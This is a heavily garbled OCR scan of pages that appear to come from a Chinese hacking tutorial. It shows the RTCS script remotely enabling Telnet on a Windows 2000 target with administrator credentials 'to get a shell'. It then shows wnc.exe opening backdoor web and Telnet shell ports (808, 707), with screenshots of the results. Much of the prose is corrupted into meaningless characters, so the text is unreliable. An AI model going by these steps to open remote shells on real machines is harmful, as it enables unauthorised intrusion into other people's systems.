1] Telnet IR 5, &5k A2 “Telnet 192, 168. 1. 27, A& Telnet 0 H F 24 F1 % i 2 BH



i
A
g
=3
o

&6y, B SeH B BA & 5 5 BT IEHE , 2 & 9-155 P,

RICS vi.08

Remote Telnet Configure Script. by zzzevazzz

Welcome to visite www.lisgrevy.com

Usage:

cscript C:“\Documents and Setting:kﬂdministvatnr&!!ﬁﬁ\RTCE-uhe targetIP username
password NILMAuthor telnetport

It will auto change state of target telnet server.

Conneting 192.168.1.2.... k

Setting port=23....

OK®

Querying state of telnet server....

Changeing state....

OK?

Target telnet server has been START Successfully?

Mow., wou can try:z telnet 192.168.1.2 23, to get a shell.

C:“Documents and Eattingn\Hdministrntur\&[ﬁﬁ}_

& 9-154 FRBIzFE Telnet iR 55

C\WINNT\system 32\ Telnet.exe

icrosoft (R) Windows 2088 <TM> RA 5.80 <AEFKRES 2195
ﬂhﬂﬂﬂﬁfﬁ Microsoft Telnet Client

elnet Client NERIEAS 5.90.99206.1
cape :-;!:ﬁ,':l{] *CTRL+1*
(R ETNWET Internet TP ITEY. XURFEL. BEEREE (y/n

> y

B 9-155 WMiA&REEER

CAWINNT\system 32\ Telnet.exe

LM Authentication failed due to insufficient credentials. Please login with
lear text username and password

icrosoft (R) Windows (TM)> Uersion 5.80 (Build 2195)

slcome to Microsoft Telnet Service

elnet Berver Build 5.88.99201 .1
login: Administrator

B 9-156 3 Telnet WA A ZFF
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SE TN PEYEPS T

SR P 44 MBS A R ¥ 0 A EWLA a2 47 . & 9-157 Fr s

T S —
B {E FH Microsoft Telnet JREE2.

B 9-157 & F Telnet fR %25

XA E 2815 2 /48 PR 61 A& i 22 91 i3 X7 EWLAY Telnet ik 55, SEEE X H
P EVLI R AALRZ.
BE .
1. NTLM=0.1.2 fift a A R 281 1 857
. FEE 9-157 F Jdi A ipconfig W] B 75 24 A A9 1P Mok 7 15 BH i

U5 —+ FIH T B8 wne @7 Web
Ik 55 A1 Telnet )iz 55

1. L ER/

i T BB wne. exe i) DUFEXT B FHL LIPS Web )R % Fil Telnet iR % . Hr Web
Al 55 11 v F1 52 808, Telnet 55 1Y ¥ H & 707

2. XEMERNK

Z R HLEEE &4 . Windows 2000 /Windows XP.IP #ihkA 192, 168. 1.1,

le-%%%jf NVEZ 48 . Windows 2000 Advance Server / Windows XP,IP #ihl &4 192, 168. 1. 2,

SEHG I QSR A BB HLAs . i LU R AL AR LR %23 IRk 55 4% Windows 2000

Advance Server / Windows XP 4ty AT L% £ 4L A1 55 28 [ i %235 LR BIHLT .

BB AF . wne. exe,

3. BT E

PATHE AR IR R B, R X i EHL AT — 1K wne. exe BIR] , 4[& 9-158 Fr~ ., $A4T
SCEefE L Al A2 “netstat -an” 2 & FH HF E 1Y 808 F1 707 fwmj[:l nE 9-159 Frzs. K 9-159 Fir
AR AU A A 55 Y T R T . AT DL E 21 H s EVLRAE A X A I 55 . B el Web ik

 C\WINNT\System32\cmd.exe =10 x|
Microsoft Windows 2008 [Uersion 5.00.21951]
<¢> RRIVFRAE 1985-1998 Microsoft Corp.

C:Documents and Settings“Administratorlcd\
C:\Jwnc

HAW

B 9-158 3JE 1T wne E 37 Web BR % #1 Telnet g %%
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%19 808 i I, FifH2 5& H fr F WL & Web R 5 %%, 75 A HL 3 %5 &5 #b b 4= %5 A “http://

192.168. 1. 2:8087 . 2> th Bl H An AL BAT 5 2, W E 9-160 Frw .

<

Active

Proto
ICP
TCP
ICP
ICP
TGP
ICP
ICP
ICP
ICGP
ICP

S WINNT System 32\ emd.exe

C:“Documents and Settings“Administrator’netstat -an

Connections

Foreign Address
.0.8.8:8

SR D 2 2000003

S-S o003 E=0
-~~~ F S aeeax

a2 @000 3
#F §F §F EHEEEEEEREI § @® ¥ ¥ ¥ ® w® ® w

L D .

=~~~

¥ B B

“

A.0.8.8:8
0.0.6.8:8
8.8.6.8:98
8.0.6.8:8
A.8.0.8:8
H.n.8.8:8
H.8.8.8:8
BH.8.8.8:8
A.8.8.8:8
H.n.8.8:8
8.8.8.8:8
8.8.8.8:8
8.8.8.8:8
H.1.8.8:9

State

LISTENING
LISTENI NG
LISTENING
LISTENING
LISTENING
LISTENI NG
LISTENI NG
LISTENI NG
LISTENI NG
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